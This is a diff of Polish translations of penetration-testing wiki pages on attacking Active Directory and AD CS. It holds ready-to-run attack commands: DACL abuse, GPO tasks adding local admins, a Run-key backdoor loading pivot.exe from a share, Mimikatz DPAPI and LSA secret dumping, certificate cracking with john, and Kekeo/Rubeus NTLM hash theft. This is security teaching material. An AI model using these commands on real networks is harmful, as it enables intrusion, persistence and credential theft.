Posiadanie obiektu AD i posiadanie uprawnień `WriteDACL` umożliwia atakującemu przyznanie sobie uprawnień `GenericAll` do obiektu. Osiąga się to poprzez manipulację ADSI, co pozwala na pełną kontrolę nad obiektem i możliwość modyfikacji jego członkostwa w grupach. Mimo to, istnieją ograniczenia przy próbie wykorzystania tych uprawnień za pomocą poleceń `Set-Acl` / `Get-Acl` modułu Active Directory.
```bash
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
@ -127,13 +127,13 @@ Aby zidentyfikować źle skonfigurowane GPO, można połączyć cmdlety PowerSpl
### Nadużycie GPO - New-GPOImmediateTask
Źle skonfigurowane GPO mogą być wykorzystywane do wykonywania kodu, na przykład poprzez utworzenie natychmiastowego zaplanowanego zadania. Można to zrobić, aby dodać użytkownika do lokalnej grupy administratorów na dotkniętych maszynach, znacznie podnosząc uprawnienia:
```powershell
```bash
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
### GroupPolicy module - Abuse GPO
Moduł GroupPolicy, jeśli jest zainstalowany, umożliwia tworzenie i łączenie nowych GPO oraz ustawianie preferencji, takich jak wartości rejestru do uruchamiania backdoorów na dotkniętych komputerach. Ta metoda wymaga zaktualizowania GPO oraz zalogowania się użytkownika na komputerze w celu wykonania:
```powershell
```bash
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
@ -145,13 +145,13 @@ SharpGPOAbuse oferuje metodę wykorzystania istniejących GPO poprzez dodawanie
```
### Wymuszenie aktualizacji polityki
Aktualizacje GPO zazwyczaj występują co około 90 minut. Aby przyspieszyć ten proces, szczególnie po wprowadzeniu zmiany, można użyć polecenia `gpupdate /force` na docelowym komputerze, aby wymusić natychmiastową aktualizację polityki. To polecenie zapewnia, że wszelkie modyfikacje GPO są stosowane bez czekania na następny automatyczny cykl aktualizacji.
Aktualizacje GPO zazwyczaj odbywają się co około 90 minut. Aby przyspieszyć ten proces, szczególnie po wprowadzeniu zmiany, można użyć polecenia `gpupdate /force` na docelowym komputerze, aby wymusić natychmiastową aktualizację polityki. To polecenie zapewnia, że wszelkie modyfikacje GPO są stosowane bez czekania na następny automatyczny cykl aktualizacji.
### Pod maską
Po zbadaniu zaplanowanych zadań dla danego GPO, takiego jak `Misconfigured Policy`, można potwierdzić dodanie zadań takich jak `evilTask`. Te zadania są tworzone za pomocą skryptów lub narzędzi wiersza poleceń mających na celu modyfikację zachowania systemu lub eskalację uprawnień.
Struktura zadania, jak pokazano w pliku konfiguracyjnym XML generowanym przez `New-GPOImmediateTask`, określa szczegóły zaplanowanego zadania - w tym polecenie do wykonania i jego wyzwalacze. Ten plik przedstawia, jak zaplanowane zadania są definiowane i zarządzane w ramach GPO, zapewniając metodę wykonywania dowolnych poleceń lub skryptów jako część egzekwowania polityki.
Struktura zadania, jak pokazano w pliku konfiguracyjnym XML generowanym przez `New-GPOImmediateTask`, określa szczegóły zaplanowanego zadania - w tym polecenie do wykonania i jego wyzwalacze. Ten plik przedstawia, jak zaplanowane zadania są definiowane i zarządzane w ramach GPO, zapewniając metodę do wykonywania dowolnych poleceń lub skryptów jako część egzekwowania polityki.
### Użytkownicy i grupy

View File

@ -10,32 +10,32 @@
- **Klucz publiczny** jest sparowany z kluczem prywatnym, aby powiązać certyfikat z jego prawowitym właścicielem.
- **Okres ważności**, określony przez daty **NotBefore** i **NotAfter**, oznacza czas obowiązywania certyfikatu.
- Unikalny **Numer seryjny**, dostarczony przez Urząd Certyfikacji (CA), identyfikuje każdy certyfikat.
- **Wydawca** odnosi się do CA, który wydał certyfikat.
- **Wystawca** odnosi się do CA, który wydał certyfikat.
- **SubjectAlternativeName** pozwala na dodatkowe nazwy dla podmiotu, zwiększając elastyczność identyfikacji.
- **Podstawowe ograniczenia** identyfikują, czy certyfikat jest dla CA, czy dla podmiotu końcowego, oraz definiują ograniczenia użytkowania.
- **Rozszerzone zastosowania klucza (EKU)** określają konkretne cele certyfikatu, takie jak podpisywanie kodu lub szyfrowanie e-maili, za pomocą identyfikatorów obiektów (OID).
- **Rozszerzone zastosowania kluczy (EKU)** określają konkretne cele certyfikatu, takie jak podpisywanie kodu czy szyfrowanie e-maili, za pomocą identyfikatorów obiektów (OID).
- **Algorytm podpisu** określa metodę podpisywania certyfikatu.
- **Podpis**, stworzony za pomocą klucza prywatnego wydawcy, gwarantuje autentyczność certyfikatu.
- **Podpis**, stworzony za pomocą klucza prywatnego wystawcy, gwarantuje autentyczność certyfikatu.
### Specjalne uwagi
- **Alternatywne nazwy podmiotu (SAN)** rozszerzają zastosowanie certyfikatu na wiele tożsamości, co jest kluczowe dla serwerów z wieloma domenami. Bezpieczne procesy wydawania są niezbędne, aby uniknąć ryzyka podszywania się przez atakujących manipulujących specyfikacją SAN.
- **Nazwy alternatywne podmiotu (SAN)** rozszerzają zastosowanie certyfikatu na wiele tożsamości, co jest kluczowe dla serwerów z wieloma domenami. Bezpieczne procesy wydawania są niezbędne, aby uniknąć ryzyka podszywania się przez atakujących manipulujących specyfikacją SAN.
### Urzędy Certyfikacji (CA) w Active Directory (AD)
AD CS uznaje certyfikaty CA w lesie AD poprzez wyznaczone kontenery, z których każdy pełni unikalne role:
- Kontener **Urzędów Certyfikacji** przechowuje zaufane certyfikaty głównych CA.
- Kontener **Usług rejestracji** zawiera szczegóły dotyczące CA przedsiębiorstwa i ich szablonów certyfikatów.
- Kontener **Urzędów Certyfikacji** przechowuje zaufane certyfikaty root CA.
- Kontener **Usługi rejestracji** zawiera szczegóły dotyczące Enterprise CA i ich szablonów certyfikatów.
- Obiekt **NTAuthCertificates** zawiera certyfikaty CA autoryzowane do uwierzytelniania AD.
- Kontener **AIA (Dostęp do informacji o autorytecie)** ułatwia walidację łańcucha certyfikatów z certyfikatami pośrednimi i krzyżowymi CA.
- Kontener **AIA (Authority Information Access)** ułatwia walidację łańcucha certyfikatów z certyfikatami CA pośrednimi i krzyżowymi.
### Pozyskiwanie certyfikatu: Proces żądania certyfikatu klienta
1. Proces żądania rozpoczyna się od znalezienia przez klientów CA przedsiębiorstwa.
1. Proces żądania rozpoczyna się od znalezienia przez klientów Enterprise CA.
2. Tworzony jest CSR, zawierający klucz publiczny i inne szczegóły, po wygenerowaniu pary kluczy publiczno-prywatnych.
3. CA ocenia CSR w odniesieniu do dostępnych szablonów certyfikatów, wydając certyfikat na podstawie uprawnień szablonu.
4. Po zatwierdzeniu CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go klientowi.
4. Po zatwierdzeniu, CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go do klienta.
### Szablony certyfikatów
@ -43,19 +43,19 @@ Zdefiniowane w AD, te szablony określają ustawienia i uprawnienia do wydawania
## Rejestracja certyfikatu
Proces rejestracji certyfikatów jest inicjowany przez administratora, który **tworzy szablon certyfikatu**, który następnie jest **publikowany** przez Urząd Certyfikacji (CA) przedsiębiorstwa. Umożliwia to dostępność szablonu do rejestracji przez klientów, co osiąga się poprzez dodanie nazwy szablonu do pola `certificatetemplates` obiektu Active Directory.
Proces rejestracji certyfikatów inicjuje administrator, który **tworzy szablon certyfikatu**, który następnie jest **publikowany** przez Enterprise Certificate Authority (CA). Umożliwia to klientom rejestrację, co osiąga się poprzez dodanie nazwy szablonu do pola `certificatetemplates` obiektu Active Directory.
Aby klient mógł zażądać certyfikatu, muszą być przyznane **prawa rejestracji**. Prawa te są definiowane przez deskryptory zabezpieczeń na szablonie certyfikatu oraz samym Urzędzie Certyfikacji (CA) przedsiębiorstwa. Uprawnienia muszą być przyznane w obu lokalizacjach, aby żądanie mogło być skuteczne.
Aby klient mógł zażądać certyfikatu, muszą być przyznane **prawa rejestracji**. Prawa te są definiowane przez deskryptory zabezpieczeń na szablonie certyfikatu oraz samym Enterprise CA. Uprawnienia muszą być przyznane w obu lokalizacjach, aby żądanie mogło być skuteczne.
### Prawa rejestracji szablonu
### Prawa rejestracji szablonów
Prawa te są określone za pomocą wpisów kontroli dostępu (ACE), szczegółowo opisujących uprawnienia, takie jak:
- Prawa **Certificate-Enrollment** i **Certificate-AutoEnrollment**, z każdym związanym z określonymi GUID.
- Prawa **Certificate-Enrollment** i **Certificate-AutoEnrollment**, każde związane z określonymi GUID.
- **ExtendedRights**, pozwalające na wszystkie rozszerzone uprawnienia.
- **FullControl/GenericAll**, zapewniające pełną kontrolę nad szablonem.
### Prawa rejestracji CA przedsiębiorstwa
### Prawa rejestracji Enterprise CA
Prawa CA są określone w jego deskryptorze zabezpieczeń, dostępnym za pośrednictwem konsoli zarządzania Urzędem Certyfikacji. Niektóre ustawienia pozwalają nawet użytkownikom o niskich uprawnieniach na zdalny dostęp, co może stanowić zagrożenie dla bezpieczeństwa.
@ -76,8 +76,8 @@ Certyfikaty można żądać za pośrednictwem:
4. **Usługa rejestracji certyfikatów** (CES), w połączeniu z usługą polityki rejestracji certyfikatów (CEP).
5. **Usługa rejestracji urządzeń sieciowych** (NDES) dla urządzeń sieciowych, używając prostego protokołu rejestracji certyfikatów (SCEP).
Użytkownicy systemu Windows mogą również żądać certyfikatów za pośrednictwem GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzi wiersza poleceń (`certreq.exe` lub polecenia `Get-Certificate` PowerShell).
```powershell
Użytkownicy systemu Windows mogą również żądać certyfikatów za pośrednictwem GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzi wiersza poleceń (`certreq.exe` lub polecenia PowerShell `Get-Certificate`).
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
@ -95,11 +95,11 @@ jest kluczowe dla ustanowienia zaufania w przypadku uwierzytelniania certyfikat
### Uwierzytelnianie Secure Channel (Schannel)
Schannel ułatwia bezpieczne połączenia TLS/SSL, gdzie podczas handshake klient przedstawia certyfikat, który, jeśli zostanie pomyślnie zweryfikowany, autoryzuje dostęp. Mapowanie certyfikatu do konta AD może obejmować funkcję Kerberos **S4U2Self** lub **Subject Alternative Name (SAN)** certyfikatu, między innymi metody.
Schannel ułatwia bezpieczne połączenia TLS/SSL, w których podczas handshake klient przedstawia certyfikat, który, jeśli zostanie pomyślnie zweryfikowany, autoryzuje dostęp. Mapowanie certyfikatu do konta AD może obejmować funkcję Kerberos **S4U2Self** lub **Subject Alternative Name (SAN)** certyfikatu, między innymi metody.
### Enumeracja usług certyfikatów AD
Usługi certyfikatów AD mogą być enumerowane za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla każdego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** są używane do enumeracji i oceny podatności w środowiskach AD CS.
Usługi certyfikatów AD można enumerować za pomocą zapytań LDAP, ujawniając informacje o **Enterprise Certificate Authorities (CAs)** i ich konfiguracjach. Jest to dostępne dla każdego użytkownika uwierzytelnionego w domenie bez specjalnych uprawnień. Narzędzia takie jak **[Certify](https://github.com/GhostPack/Certify)** i **[Certipy](https://github.com/ly4k/Certipy)** są używane do enumeracji i oceny podatności w środowiskach AD CS.
Polecenia do korzystania z tych narzędzi obejmują:
```bash

View File

@ -12,7 +12,7 @@
- Unikalny **Numer seryjny**, dostarczony przez Urząd Certyfikacji (CA), identyfikuje każdy certyfikat.
- **Wystawca** odnosi się do CA, który wydał certyfikat.
- **SubjectAlternativeName** pozwala na dodatkowe nazwy dla podmiotu, zwiększając elastyczność identyfikacji.
- **Podstawowe ograniczenia** identyfikują, czy certyfikat jest dla CA czy podmiotu końcowego oraz definiują ograniczenia użytkowania.
- **Podstawowe ograniczenia** identyfikują, czy certyfikat jest dla CA, czy dla podmiotu końcowego, oraz definiują ograniczenia użytkowania.
- **Rozszerzone zastosowania kluczy (EKU)** określają konkretne cele certyfikatu, takie jak podpisywanie kodu czy szyfrowanie e-maili, za pomocą identyfikatorów obiektów (OID).
- **Algorytm podpisu** określa metodę podpisywania certyfikatu.
- **Podpis**, stworzony za pomocą klucza prywatnego wystawcy, gwarantuje autentyczność certyfikatu.
@ -26,32 +26,32 @@
AD CS uznaje certyfikaty CA w lesie AD poprzez wyznaczone kontenery, z których każdy pełni unikalne role:
- Kontener **Certification Authorities** przechowuje zaufane certyfikaty root CA.
- Kontener **Enrolment Services** szczegółowo opisuje Enterprise CA i ich szablony certyfikatów.
- Kontener **Enrolment Services** zawiera szczegóły dotyczące Enterprise CA i ich szablonów certyfikatów.
- Obiekt **NTAuthCertificates** zawiera certyfikaty CA autoryzowane do uwierzytelniania AD.
- Kontener **AIA (Authority Information Access)** ułatwia walidację łańcucha certyfikatów z certyfikatami pośrednimi i krzyżowymi CA.
- Kontener **AIA (Authority Information Access)** ułatwia walidację łańcucha certyfikatów z certyfikatami CA pośrednimi i krzyżowymi.
### Pozyskiwanie certyfikatów: Proces żądania certyfikatu klienta
### Pozyskiwanie certyfikatu: Proces żądania certyfikatu klienta
1. Proces żądania rozpoczyna się od znalezienia przez klientów Enterprise CA.
2. Tworzony jest CSR, zawierający klucz publiczny i inne szczegóły, po wygenerowaniu pary kluczy publiczno-prywatnych.
3. CA ocenia CSR w odniesieniu do dostępnych szablonów certyfikatów, wydając certyfikat na podstawie uprawnień szablonu.
4. Po zatwierdzeniu, CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go klientowi.
4. Po zatwierdzeniu, CA podpisuje certyfikat swoim kluczem prywatnym i zwraca go do klienta.
### Szablony certyfikatów
Zdefiniowane w AD, te szablony określają ustawienia i uprawnienia do wydawania certyfikatów, w tym dozwolone EKU oraz prawa do rejestracji lub modyfikacji, co jest kluczowe dla zarządzania dostępem do usług certyfikacyjnych.
## Rejestracja certyfikatów
## Rejestracja certyfikatu
Proces rejestracji certyfikatów inicjuje administrator, który **tworzy szablon certyfikatu**, który następnie jest **publikowany** przez Enterprise Certificate Authority (CA). To sprawia, że szablon jest dostępny do rejestracji przez klientów, co osiąga się poprzez dodanie nazwy szablonu do pola `certificatetemplates` obiektu Active Directory.
Proces rejestracji certyfikatów inicjuje administrator, który **tworzy szablon certyfikatu**, który następnie jest **publikowany** przez Enterprise Certificate Authority (CA). Umożliwia to klientom rejestrację, co osiąga się poprzez dodanie nazwy szablonu do pola `certificatetemplates` obiektu Active Directory.
Aby klient mógł zażądać certyfikatu, muszą być przyznane **prawa rejestracji**. Prawa te są definiowane przez deskryptory zabezpieczeń na szablonie certyfikatu oraz samym Enterprise CA. Uprawnienia muszą być przyznane w obu lokalizacjach, aby żądanie mogło być skuteczne.
Aby klient mógł zażądać certyfikatu, muszą być przyznane **prawa rejestracji**. Prawa te są określone przez deskryptory zabezpieczeń na szablonie certyfikatu oraz samym Enterprise CA. Uprawnienia muszą być przyznane w obu lokalizacjach, aby żądanie mogło być skuteczne.
### Prawa rejestracji szablonów
Prawa te są określone za pomocą wpisów kontroli dostępu (ACE), szczegółowo opisujących uprawnienia, takie jak:
- Prawa **Certificate-Enrollment** i **Certificate-AutoEnrollment**, z każdym związanym z określonymi GUID.
- Prawa **Certificate-Enrollment** i **Certificate-AutoEnrollment**, każde związane z określonymi GUID.
- **ExtendedRights**, pozwalające na wszystkie rozszerzone uprawnienia.
- **FullControl/GenericAll**, zapewniające pełną kontrolę nad szablonem.
@ -64,20 +64,20 @@ Prawa CA są określone w jego deskryptorze zabezpieczeń, dostępnym za pośred
Mogą obowiązywać pewne kontrole, takie jak:
- **Zatwierdzenie menedżera**: Umieszcza żądania w stanie oczekiwania do zatwierdzenia przez menedżera certyfikatów.
- **Agenci rejestracji i autoryzowane podpisy**: Określają liczbę wymaganych podpisów na CSR oraz niezbędne OID polityki aplikacji.
- **Agenci rejestracji i autoryzowane podpisy**: Określają liczbę wymaganych podpisów na CSR oraz niezbędne identyfikatory polityki aplikacji OID.
### Metody żądania certyfikatów
Certyfikaty można żądać za pośrednictwem:
1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), używając interfejsów DCOM.
2. **ICertPassage Remote Protocol** (MS-ICPR), przez potok nazwany lub TCP/IP.
3. **Interfejsu internetowego rejestracji certyfikatów**, z zainstalowaną rolą Web Enrollment Urzędu Certyfikacji.
2. **ICertPassage Remote Protocol** (MS-ICPR), przez nazwaną rurę lub TCP/IP.
3. **interfejsu internetowego rejestracji certyfikatów**, z zainstalowaną rolą Web Enrollment Urzędu Certyfikacji.
4. **Usługi rejestracji certyfikatów** (CES), w połączeniu z usługą polityki rejestracji certyfikatów (CEP).
5. **Usługi rejestracji urządzeń sieciowych** (NDES) dla urządzeń sieciowych, używając prostego protokołu rejestracji certyfikatów (SCEP).
5. **Usługi rejestracji urządzeń sieciowych** (NDES) dla urządzeń sieciowych, używając Protokółu Prostej Rejestracji Certyfikatów (SCEP).
Użytkownicy systemu Windows mogą również żądać certyfikatów za pośrednictwem GUI (`certmgr.msc` lub `certlm.msc`) lub narzędzi wiersza poleceń (`certreq.exe` lub polecenia `Get-Certificate` PowerShell).
```powershell
```bash
# Example of requesting a certificate using PowerShell
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
```
@ -87,7 +87,7 @@ Active Directory (AD) wspiera uwierzytelnianie za pomocą certyfikatów, główn
### Proces Uwierzytelniania Kerberos
W procesie uwierzytelniania Kerberos, żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane za pomocą **klucza prywatnego** certyfikatu użytkownika. To żądanie przechodzi przez kilka walidacji przez kontroler domeny, w tym **ważność**, **ścieżkę** i **status unieważnienia** certyfikatu. Walidacje obejmują również weryfikację, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **magazynie certyfikatów NTAUTH**. Pomyślne walidacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod:
W procesie uwierzytelniania Kerberos, żądanie użytkownika o Ticket Granting Ticket (TGT) jest podpisywane za pomocą **klucza prywatnego** certyfikatu użytkownika. To żądanie przechodzi przez kilka walidacji przez kontroler domeny, w tym **ważność** certyfikatu, **ścieżkę** oraz **status unieważnienia**. Walidacje obejmują również weryfikację, że certyfikat pochodzi z zaufanego źródła oraz potwierdzenie obecności wystawcy w **sklepie certyfikatów NTAUTH**. Pomyślne walidacje skutkują wydaniem TGT. Obiekt **`NTAuthCertificates`** w AD, znajdujący się pod:
```bash
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
```

View File

@ -2,12 +2,12 @@
{{#include ../../../banners/hacktricks-training.md}}
**To mały podsumowanie rozdziałów o kradzieży z niesamowitych badań z [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
**To jest małe podsumowanie rozdziałów o kradzieży z niesamowitych badań z [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
## Co mogę zrobić z certyfikatem
Zanim sprawdzisz, jak ukraść certyfikaty, oto kilka informacji na temat tego, do czego certyfikat może być przydatny:
```powershell
Zanim sprawdzisz, jak ukraść certyfikaty, tutaj masz kilka informacji na temat tego, do czego certyfikat może być przydatny:
```bash
# Powershell
$CertPath = "C:\path\to\cert.pfx"
$CertPass = "P@ssw0rd"
@ -24,7 +24,7 @@ W **interaktywnej sesji pulpitu**, ekstrakcja certyfikatu użytkownika lub maszy
Dla **programatycznego podejścia**, dostępne są narzędzia takie jak cmdlet PowerShell `ExportPfxCertificate` lub projekty takie jak [projekt CertStealer C# TheWovera](https://github.com/TheWover/CertStealer). Wykorzystują one **Microsoft CryptoAPI** (CAPI) lub Cryptography API: Next Generation (CNG) do interakcji z magazynem certyfikatów. Te API oferują szereg usług kryptograficznych, w tym te niezbędne do przechowywania certyfikatów i uwierzytelniania.
Jednakże, jeśli klucz prywatny jest ustawiony jako nieeksportowalny, zarówno CAPI, jak i CNG zazwyczaj zablokują ekstrakcję takich certyfikatów. Aby obejść to ograniczenie, można wykorzystać narzędzia takie jak **Mimikatz**. Mimikatz oferuje polecenia `crypto::capi` i `crypto::cng` do patchowania odpowiednich API, co pozwala na eksport kluczy prywatnych. Konkretnie, `crypto::capi` patchuje CAPI w bieżącym procesie, podczas gdy `crypto::cng` celuje w pamięć **lsass.exe** do patchowania.
Jednakże, jeśli klucz prywatny jest ustawiony jako nieeksportowalny, zarówno CAPI, jak i CNG zazwyczaj zablokują ekstrakcję takich certyfikatów. Aby obejść to ograniczenie, można wykorzystać narzędzia takie jak **Mimikatz**. Mimikatz oferuje polecenia `crypto::capi` i `crypto::cng` do patchowania odpowiednich API, co pozwala na eksport kluczy prywatnych. Konkretne, `crypto::capi` patchuje CAPI w bieżącym procesie, podczas gdy `crypto::cng` celuje w pamięć **lsass.exe** do patchowania.
## Kradzież certyfikatu użytkownika za pomocą DPAPI THEFT2
@ -44,7 +44,7 @@ Aby **wyekstrahować certyfikat i jego powiązany klucz prywatny**, proces obejm
2. **Zlokalizowanie wymaganego klucza głównego DPAPI** do deszyfrowania odpowiadającego klucza prywatnego.
3. **Deszyfrowanie klucza prywatnego** przy użyciu jawnego klucza głównego DPAPI.
Aby **uzyskać jawny klucz główny DPAPI**, można wykorzystać następujące podejścia:
Aby **zdobyć jawny klucz główny DPAPI**, można wykorzystać następujące podejścia:
```bash
# With mimikatz, when running in the user's context
dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc
@ -62,11 +62,11 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid
```
## Kradzież certyfikatów maszynowych za pomocą DPAPI THEFT3
Certyfikaty maszynowe przechowywane przez Windows w rejestrze pod `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` oraz powiązane klucze prywatne znajdujące się w `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (dla CAPI) i `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (dla CNG) są szyfrowane za pomocą głównych kluczy DPAPI maszyny. Klucze te nie mogą być odszyfrowane za pomocą zapasowego klucza DPAPI domeny; zamiast tego wymagany jest **sekret DPAPI_SYSTEM LSA**, do którego dostęp ma tylko użytkownik SYSTEM.
Certyfikaty maszynowe przechowywane przez Windows w rejestrze pod `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` oraz powiązane klucze prywatne znajdujące się w `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (dla CAPI) i `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (dla CNG) są szyfrowane za pomocą głównych kluczy DPAPI maszyny. Klucze te nie mogą być odszyfrowane za pomocą klucza zapasowego DPAPI domeny; zamiast tego wymagany jest **sekret DPAPI_SYSTEM LSA**, do którego dostęp ma tylko użytkownik SYSTEM.
Ręczne odszyfrowanie można osiągnąć, wykonując polecenie `lsadump::secrets` w **Mimikatz**, aby wyodrębnić sekret DPAPI_SYSTEM LSA, a następnie używając tego klucza do odszyfrowania głównych kluczy maszyny. Alternatywnie, polecenie `crypto::certificates /export /systemstore:LOCAL_MACHINE` w Mimikatz może być użyte po załataniu CAPI/CNG, jak opisano wcześniej.
Ręczne odszyfrowanie można osiągnąć, wykonując polecenie `lsadump::secrets` w **Mimikatz**, aby wyodrębnić sekret DPAPI_SYSTEM LSA, a następnie używając tego klucza do odszyfrowania głównych kluczy maszyny. Alternatywnie, polecenie `crypto::certificates /export /systemstore:LOCAL_MACHINE` w Mimikatz może być użyte po załataniu CAPI/CNG, jak wcześniej opisano.
**SharpDPAPI** oferuje bardziej zautomatyzowane podejście za pomocą swojego polecenia certyfikatów. Gdy używany jest znacznik `/machine` z podwyższonymi uprawnieniami, eskaluje do SYSTEM, zrzuca sekret DPAPI_SYSTEM LSA, używa go do odszyfrowania głównych kluczy DPAPI maszyny, a następnie wykorzystuje te klucze w postaci jawnej jako tabelę wyszukiwania do odszyfrowania wszelkich kluczy prywatnych certyfikatów maszynowych.
**SharpDPAPI** oferuje bardziej zautomatyzowane podejście za pomocą swojego polecenia certyfikatów. Gdy używany jest znacznik `/machine` z podwyższonymi uprawnieniami, eskaluje do SYSTEM, zrzuca sekret DPAPI_SYSTEM LSA, używa go do odszyfrowania głównych kluczy DPAPI maszyny, a następnie wykorzystuje te klucze w postaci tekstu jawnego jako tabelę wyszukiwania do odszyfrowania wszelkich kluczy prywatnych certyfikatów maszynowych.
## Znajdowanie plików certyfikatów THEFT4
@ -80,7 +80,7 @@ Certyfikaty czasami znajdują się bezpośrednio w systemie plików, na przykła
Pliki te można wyszukiwać za pomocą PowerShell lub wiersza poleceń, szukając wymienionych rozszerzeń.
W przypadkach, gdy znaleziony zostanie plik certyfikatu PKCS#12 i jest on chroniony hasłem, możliwe jest wyodrębnienie hasha za pomocą `pfx2john.py`, dostępnego na [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Następnie można użyć JohnTheRipper, aby spróbować złamać hasło.
```powershell
```bash
# Example command to search for certificate files in PowerShell
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys
@ -90,16 +90,18 @@ pfx2john.py certificate.pfx > hash.txt
# Command to crack the hash with JohnTheRipper
john --wordlist=passwords.txt hash.txt
```
## NTLM Credential Theft via PKINIT THEFT5
## NTLM Credential Theft via PKINIT THEFT5 (UnPAC the hash)
Podany materiał wyjaśnia metodę kradzieży poświadczeń NTLM za pomocą PKINIT, szczególnie poprzez metodę kradzieży oznaczoną jako THEFT5. Oto ponowne wyjaśnienie w stronie biernej, z zanonimizowanym i podsumowanym materiałem tam, gdzie to możliwe:
Podany materiał wyjaśnia metodę kradzieży poświadczeń NTLM za pomocą PKINIT, szczególnie poprzez metodę kradzieży oznaczoną jako THEFT5. Oto ponowne wyjaśnienie w stronie biernej, z treścią zanonimizowaną i podsumowaną tam, gdzie to możliwe:
Aby wspierać uwierzytelnianie NTLM [MS-NLMP] dla aplikacji, które nie umożliwiają uwierzytelniania Kerberos, KDC jest zaprojektowany tak, aby zwracać jednostronną funkcję NTLM użytkownika (OWF) w certyfikacie atrybutów uprawnień (PAC), szczególnie w buforze `PAC_CREDENTIAL_INFO`, gdy wykorzystywane jest PKCA. W konsekwencji, jeśli konto uwierzytelni się i zabezpieczy Ticket-Granting Ticket (TGT) za pomocą PKINIT, wbudowany mechanizm umożliwia bieżącemu hostowi wydobycie hasha NTLM z TGT, aby wspierać starsze protokoły uwierzytelniania. Proces ten obejmuje deszyfrowanie struktury `PAC_CREDENTIAL_DATA`, która jest zasadniczo zserializowanym przedstawieniem NTLM w postaci jawnej.
Aby wspierać uwierzytelnianie NTLM `MS-NLMP` dla aplikacji, które nie umożliwiają uwierzytelniania Kerberos, KDC jest zaprojektowany tak, aby zwracać jednostronną funkcję NTLM użytkownika (OWF) w certyfikacie atrybutów uprawnień (PAC), szczególnie w buforze `PAC_CREDENTIAL_INFO`, gdy wykorzystywane jest PKCA. W związku z tym, jeśli konto uwierzytelni się i zabezpieczy bilet TGT za pomocą PKINIT, wbudowany mechanizm umożliwia bieżącemu hostowi wydobycie hasha NTLM z TGT, aby wspierać starsze protokoły uwierzytelniania. Proces ten obejmuje deszyfrowanie struktury `PAC_CREDENTIAL_DATA`, która jest zasadniczo zserializowanym przedstawieniem NTLM w postaci jawnej.
Narzędzie **Kekeo**, dostępne pod adresem [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), jest wspomniane jako zdolne do żądania TGT zawierającego te konkretne dane, co ułatwia odzyskanie NTLM użytkownika. Komenda używana w tym celu jest następująca:
```bash
tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local
```
**`Rubeus`** może również uzyskać te informacje za pomocą opcji **`asktgt [...] /getcredentials`**.
Dodatkowo zauważono, że Kekeo może przetwarzać certyfikaty chronione kartą inteligentną, pod warunkiem, że pin może być odzyskany, z odniesieniem do [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). Ta sama funkcjonalność jest wskazana jako wspierana przez **Rubeus**, dostępny pod adresem [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus).
To wyjaśnienie podsumowuje proces i narzędzia zaangażowane w kradzież poświadczeń NTLM za pomocą PKINIT, koncentrując się na odzyskiwaniu hashy NTLM poprzez TGT uzyskane za pomocą PKINIT oraz narzędziach, które ułatwiają ten proces.

View File

@ -20,13 +20,13 @@
- **Deskriptory bezpieczeństwa na szablonach certyfikatów są zbyt liberalne, co pozwala użytkownikom o niskich uprawnieniach uzyskać prawa do rejestracji.**
- **Szablony certyfikatów są skonfigurowane w celu zdefiniowania EKU, które ułatwiają uwierzytelnianie:**
